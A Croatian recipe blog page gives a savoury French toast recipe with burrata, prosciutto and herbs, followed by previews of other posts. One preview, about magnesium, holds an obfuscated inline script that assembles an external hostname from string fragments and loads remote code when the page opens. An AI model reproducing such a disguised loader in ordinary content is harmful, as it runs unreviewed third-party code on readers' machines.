SLANI FRENCH TOST S BURRATOM I PRŠUTOM





Slani french tost s burratom i pršutom 




U današnjoj verziji uzimamo deblju šnitu kruha i natapamo je u bogatoj smjesi jaja i punomasnog mlijeka. U smjesu dodajemo listiće svježeg timijana i origana, malo soli i malo crnog papra. Kruh se natapa nekoliko minuta sa svake strane kako bi upio sve arome, a zatim se peče na kombinaciji maslinova ulja i maslaca dok ne postane zlatno smeđ i hrskav izvana, a mekan iznutra.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Slani french tost s burratom i pršutom 


Sastojci:
  • 1 jaje
  • ½ šalice punomasnog mlijeka
  • 2 grančice svježeg timijana
  • 2 grančice svježeg origana
  • ¼ žličice soli
  • svježe mljeveni crni papar
  • ½ žlice ekstra djevičanskog maslinova ulja
  • ½ žlice maslaca
  • 1 debela šnita kruha

Za posluživanje:

  • 1 srednja rajčica, narezana na kriške
  • svježe naribani parmigiano reggiano
  • svježi peršin, grubo sjeckan
  • svježi origano, grubo sjeckan
  • ekstra djevičansko maslinovo ulje
  • burrata
  • pršut
  • krupna sol



Priprema:

  • U plitkoj zdjeli umutite jaje s mlijekom. Dodajte listiće timijana i origana, sol i nekoliko malo svježe mljevenog papra pa sve dobro promiješajte.
  • Kruh položite u smjesu i ostavite da se namače 2-3 minute. Okrenite ga i pustite da upija još 2 minute s druge strane kako bi se dobro natopio, ali zadržao strukturu.
  • Na srednje jakoj vatri zagrijte maslinovo ulje i maslac u tavi. Kada se maslac zapjeni, položite namočeni kruh u tavu i pecite 3-4 minute sa svake strane, dok ne poprimi zlatno smeđu boju i hrskavu koricu.
  • Pečeni tost prebacite na tanjur. Na vrh rasporedite burratu, pršut, rajčice, svježe naribani parmezan, dodajte sjeckani peršin i origano.
  • Završite s nekoliko kapi maslinova ulja i prstohvatom krupne soli te poslužite odmah, dok je tost još topao.

https://www.journal.hr/lifestyle/gastro/slani-french-toast/




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više